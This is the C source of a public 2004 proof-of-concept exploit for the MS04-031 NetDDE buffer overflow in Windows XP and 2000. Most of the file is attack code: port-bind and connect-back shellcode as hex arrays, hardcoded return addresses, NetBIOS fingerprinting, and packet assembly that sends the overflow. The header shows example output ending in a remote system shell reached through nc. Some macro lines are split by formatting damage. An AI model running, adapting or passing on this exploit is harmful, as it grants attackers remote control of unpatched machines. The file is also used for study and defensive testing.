/* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2
*
* Copyright (c) 2004 houseofdabus.
*
* (MS04-031) NetDDE buffer overflow vulnerability PoC
*
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* (special unstable version)
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in the NetDDE
* services because of an unchecked buffer. An attacker who
* successfully exploited this vulnerability could take complete
* control of an affected system. However, the NetDDE services are
* not started by default and would have to be manually started for
* an attacker to attempt to remotely exploit this vulnerability.
* This vulnerability could also be used to attempt to perform
* a local elevation of privilege or remote denial of service.
*
* ---------------------------------------------------------------------
* Patch:
* http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows XP Professional SP0
* - Windows XP Professional SP1
* - Windows 2000 Professional SP2
* - Windows 2000 Professional SP3
* - Windows 2000 Professional SP4
* - Windows 2000 Advanced Server SP4
*
* ---------------------------------------------------------------------
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms04031-expl HOD-ms04031-expl.c
* Win32/cygwin: gcc -o HOD-ms04031-expl HOD-ms04031-expl.c -lws2_32.lib
* Linux : gcc -o HOD-ms04031-expl HOD-ms04031-expl.c -Wall
*
* ---------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
* HOD-ms04031-expl.exe <host> <netbios name> <target> <bindport>
* [connectback IP] [options]
*
* Targets:
* 0 [0x00abfafc]: WinXP [universal]
* 1 [0x009efb40]: Win2K [universal]
*
* Options:
* -f: Netbios name fingerprinting
*
* ---------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms04031-expl.exe 192.168.0.1 -f
* [*] Connecting to 192.168.0.1:139 ... OK
* [*] Fingerprinting... OK
* [+] Remote netbios name: HOD
*
* C:\>
* C:\>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878
* [*] Connecting to 192.168.0.1:139 ... OK
* [*] Attacking 192.168.0.1 ...OK.
*
* C:\>nc 192.168.0.1 7878
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
* ---------------------------------------------------------------------
*/


/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif


/* targets table */
struct targets {
int num;
char name[50];
long jmpaddr;
}
target[]= {
{ 0, "WinXP [universal] ", 0x00abfb1c - 0x20 },
{ 1, "Win2K [universal] ", 0x009efb60 - 0x20 }
};


/* portbind shellcode */
unsigned char portbindsc[] =
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
"\x28\xff\x55\x0c";


/* connectback shellcode */
unsigned char connectbacksc[] =
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
"\x77\x38\xff\x55\x20\xff\x55\x0c";


#define SET_PORTBIND_PORT(buf, port) *(unsigned
short *)(((buf)+300)) = (port)
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned
long *)(((buf)+283)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port)
*(unsigned short *)(((buf)+290)) = (port)


/*
eax = target[].jmpaddr -> stack -> jmpcode -> shellcode

1. 0100D605 call dword ptr [eax+20h]
2. jmpcode
3. shellcode
*/

char jmpcode[] =
"\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90"
"\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28"
"\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72"
"\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30"
"\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e"
"\xBB\xBB\xBB\xBB" /* => eax */
"PADPAD";

char smb_sesreq[] =
"\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"
"\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"
"\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45"
"\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
"\x41\x43\x41\x43\x41\x41\x41\x00";

char smb_negotiate[] =
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02"
"\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e"
"\x31\x32\x00";

char d1[] =
"\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a"
"\x16\x02\x17\x0e\x1b\x0d";

char req1[] =
"\x81\x00\x00\x44";

char req2[] =
"CACACACACACACACACACACACACACACABP";

char h1[] =
"\x45\x44\x44\x4E\x00\x00\x00";

char h2[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

char h3[] =
"\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00";


unsigned long ndlen = 0;
unsigned long ntarget = 0;
unsigned long backip = 0;
unsigned short bindport = 0;



unsigned long
fixx(unsigned char *data, unsigned long i)
{
unsigned long len;

len = (data[i+3]<<24) +
(data[i+2]<<16) +
(data[i+1]<<8) +
(data[i]);

return len;
}


unsigned long
chksum(unsigned char *data, unsigned long dlen)
{
unsigned long i, len;
unsigned long chk;

chk = 0xFFFFFFFF;
len = dlen - 4;

for (i=0; i<len; i+=4)
chk += fixx(data, i);

while (i < dlen) {
chk += (unsigned char)data[i];
i++;
}

return chk;
}


char *
netbios_encode(char *ndata, char service)
{
char *tmpdata, *data, *nret;
unsigned long dlen;
char odiv, omod, o;
int i;

data = (char *)calloc(17, 1);
memcpy(data, ndata, strlen(ndata));

dlen = strlen(data);
while (dlen < 15) {
strcat(data, "\x20");
dlen++;
}

memcpy(data+strlen(data), &service, 1);

nret = (char *)calloc(strlen(data)*2+1, 1);
tmpdata = nret;

for (i=0; i<16; i++) {
o = (char)data[i];
odiv = o / 16;
odiv = odiv + 0x41;
omod = o % 16;
omod = omod + 0x41;
*tmpdata++ = odiv;
*tmpdata++ = omod;
}

free(data);

return nret;
}

unsigned char *
find_smbname(unsigned char *data, unsigned long len)
{
unsigned char *ptr;
unsigned long i = 0;

ptr = data;
ptr += 91;

while (i <= len - 3) {
if (ptr[i] == '\x00')
if (ptr[i+1] == '\x00')
if (ptr[i+2] == '\x00')
return ptr+i+3;
i++;
}

return NULL;
}

/* fingerprinting */
unsigned char *
smb_get_name(char *ip)
{
int sock, r;
unsigned long smbname_len;
unsigned char *name = NULL, *smbname;
struct sockaddr_in s;
struct hostent *he;
unsigned char buf[256];


if ((he = gethostbyname(ip)) == NULL) {
printf("[-] Unable to resolve %s\n", ip);
return NULL;
}

sock = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
if (sock < 0) return NULL;

s.sin_family = AF_INET;
s.sin_addr = *((struct in_addr *)he->h_addr);
s.sin_port = htons(139);
memset(&(s.sin_zero), '\0', 8);

memset(buf, 0, 256);

printf("[*] Connecting to %s:139 ... ", ip);
r = connect(sock, (struct sockaddr *) &s, sizeof(struct
sockaddr_in));
if (r == 0) {
printf("OK\n[*] Fingerprinting... ");
/* sending session request */
send(sock, smb_sesreq, sizeof(smb_sesreq)-1,
0);
Sleep(1000);
r = recv(sock, (char *)buf, 256, 0);
if (r < 0) goto err;

memset(buf, 0, 256);
/* sending negotiation request */
send(sock, smb_negotiate,
sizeof(smb_negotiate)-1, 0);
Sleep(1000);
r = recv(sock, (char *)buf, 256, 0);
if (r < 0) goto err;

printf("OK\n");
smbname = find_smbname(buf, r);
if (smbname == NULL) goto err;
smbname_len = smbname - buf;

name = (unsigned char *)calloc(smbname_len,
1);

/* decoding */
r = 0;
while (smbname_len) {
if (*smbname != '\x00') {
name[r] = *smbname;
r++;
}
smbname++;
smbname_len--;
}
} else {
printf("failed\n[-] Can't connect to %s:139\n", ip);
}

err:
shutdown(sock, 1);
closesocket(sock);

return name;
}


/* NetDDE packet */
char *
packet_assembly(char *name, char *host)
{
char *main, *header, *data;
char *lname, *rhost;
unsigned long llen, rlen, len, hlen, dlen, csum, i;
unsigned char name_hi, name_low, rhost_hi,
rhost_low;
unsigned char hod_hi, hod_low, len_hi, len_low;
unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */
char hod[] = "HOD-HOD\x01";
char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00";
char tmp[8];


llen = strlen(name) + 4;
rlen = strlen(host);
lname = (char *)calloc(llen + 3, 1);
rhost = (char *)calloc(rlen + 3, 1);

memcpy(lname, name, llen);
strcpy(rhost, host);
memcpy(lname + llen, "\x01", 1);
strcat(rhost, "\x01");

name_hi = (unsigned char) ((llen+1) / 256);
name_low = (unsigned char) ((llen+1) % 256);
rhost_hi = (unsigned char) ((rlen + llen + 2) / 256);
rhost_low = (unsigned char) ((rlen + llen + 2) % 256);

len = sizeof(hod) - 1;
hod_hi = (unsigned char) (len / 256);
hod_low = (unsigned char) (len % 256);

main = (char *)calloc( sizeof(hod)-1 +
sizeof(hmain)-1 +
llen + rlen +
11, 1 );

memcpy(main, hmain, sizeof(hmain)-1);
sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low,
rhost_hi, rhost_low, hod_hi, hod_low);

memcpy(main+sizeof(hmain)-1, tmp, 6);
memcpy(main+sizeof(hmain)-1+6, "\x00", 1);
memcpy(main+sizeof(hmain)-1+7, lname, llen+1);
memcpy(main+sizeof(hmain)-1+7+llen+1, rhost,
rlen+1);
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod,
sizeof(hod)-1);

memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1,
"\x2e", 1);

len =
sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1;
len_hi = (unsigned char) (len / 256);
len_low = (unsigned char) (len % 256);


/* header */
header = (char *)calloc(sizeof(h1)-1 +
sizeof(h2)-1 +
sizeof(h3)-1 +
9, 1);

memcpy(header, h1, sizeof(h1)-1);
sprintf(tmp, "%c%c", len_hi, len_low);
memcpy(header+sizeof(h1)-1, tmp, 2);
memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1);
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2);
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3,
sizeof(h3)-1);

csum = chksum(main, len);
memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4
+ sizeof(h3)-1, &csum, 4);


/* data */
hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8;
data = (char *)calloc( sizeof(d1)-1 +
len+hlen +
37 +
1200, 1 );

csum = chksum(header, hlen);
memcpy(data+4, &csum, 4);
memcpy(data+4+4, header, hlen);
memcpy(data+4+4+hlen, main, len);
memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1);

/* nops */
for (i=0; i<154; i++)
memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4,
nops, 4);

/* shellcode */
if (!backip) {
/* portbind */
SET_PORTBIND_PORT(portbindsc,
htons(bindport));

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,
portbindsc, sizeof(portbindsc)-1);
dlen =
4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4;
} else {
/* connectback */
SET_CONNECTBACK_IP(connectbacksc,
backip);
SET_CONNECTBACK_PORT(connectbacksc,
htons(bindport));

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,
connectbacksc, sizeof(connectbacksc)-1);
dlen =
4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4;
}

ndlen = dlen + 4;
dlen = htonl(dlen);
memcpy(data, &dlen, 4);

free(lname);
free(rhost);
free(main);
free(header);

return data;
}


void
usage(char *prog)
{
int i;

printf("%s <host> <netbios name> <target> <bindport>
[connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i = 0; i < 2; i++)
printf(" %d [0x%.8x]: %s\n", target[i].num,
target[i].jmpaddr, target[i].name);
printf("\nOptions:\n\t-f: Netbios name fingerprinting\n");
exit(0);

}

void
vargs(int argc, char **argv)
{
int i, finger = 0;
char *nname = NULL;

for (i = 2; i < argc; i++) {
if (argv[i][0] == '-') {
if (argv[i][1] == 'f')
finger = 1;
}
}

if (finger && argc > 2) {
nname = smb_get_name(argv[1]);
if (nname) {
printf("[+] Remote netbios name: %s\n",
nname);
free(nname);
}
exit(0);
} else
if (argc < 5) usage(argv[0]);
if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]);

bindport = (unsigned short)atoi(argv[4]);
if (argc > 5) backip = inet_addr(argv[5]);

return;
}



int
main (int argc, char **argv)
{

int len, sockfd;
char *host;
char *req;
struct hostent *he;
struct sockaddr_in their_addr;
char rbuf[4096];

#ifdef _WIN32
WSADATA wsa;
#endif

char *ses_req;
char *data, *hname;
char *hn, *hn2;
unsigned long req_sz, hname_len, hn_len;


#ifdef _WIN32
WSAStartup(MAKEWORD(2,0), &wsa);
#endif


printf("\n (MS04-031) NetDDE buffer overflow
vulnerability PoC\n\n");
printf("\tCopyright (c) 2004-2005 .::[ houseofdabus
]::.\n\n\n");

vargs(argc, argv);

hn = argv[2]; /* target netbios name */
host = argv[1]; /* target host name */

if (strlen(host) > 1024) return 0;

/* target jmpaddr */
memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4);

ses_req = (char *)calloc(sizeof(req1)-1 +
sizeof(req2)-1 +
114, 1);

memcpy(ses_req, req1, sizeof(req1)-1);
memcpy(ses_req+sizeof(req1)-1, "\x20", 1);

hname = netbios_encode(hn, 0x1F);
hname_len = strlen(hname);

memcpy(ses_req+sizeof(req1)-1+1, hname,
hname_len);
memcpy(ses_req+sizeof(req1)-1+1+hname_len,
"\x00\x20", 2);
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2,
req2, sizeof(req2)-1);

memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1,
"\x00", 1);

req_sz =
sizeof(req1)-1+sizeof(req2)-1+hname_len+4;

if ((he = gethostbyname(host)) == NULL) {
printf("[-] Unable to resolve %s\n", host);
return 0;
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
printf("[-] Error: socket failed\n");
return 0;
}

req = req1;

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(139);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

/* connecting */
printf("[*] Connecting to %s:139 ... ", host);
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) < 0) {
printf("[-] Error: connect failed\n");
return 0;
}
printf("OK\n");

if (send(sockfd, ses_req, req_sz, 0) < 0) {
printf("[-] Error: send failed\n");
return 0;
}

len = recv(sockfd, rbuf, 4096, 0);
if (len < 0) return 0;

/* check NetDDE */
if ((unsigned char)rbuf[0] != 0x82) {
printf("[-] NetDDE disabled or wrong netbios
name\n");
return 0;
}

hn2 = (char *)calloc(16, 1);
memcpy(hn2, hn, strlen(hn));
hn_len = strlen(hn);

while (hn_len < 15) {
strcat(hn2, "\x20");
hn_len++;
}

/* attacking */
printf("[*] Attacking %s ...", host);

data = packet_assembly(jmpcode, hn2);

if (send(sockfd, data, ndlen, 0) < 0) {
printf("\n[-] Error: send failed\n");
return 0;
}
printf("OK.\n");
len = recv(sockfd, rbuf, 4096, 0);

shutdown(sockfd, 1);
closesocket(sockfd);
free(data);
free(hn2);
free(ses_req);
free(hname);

return 0;
}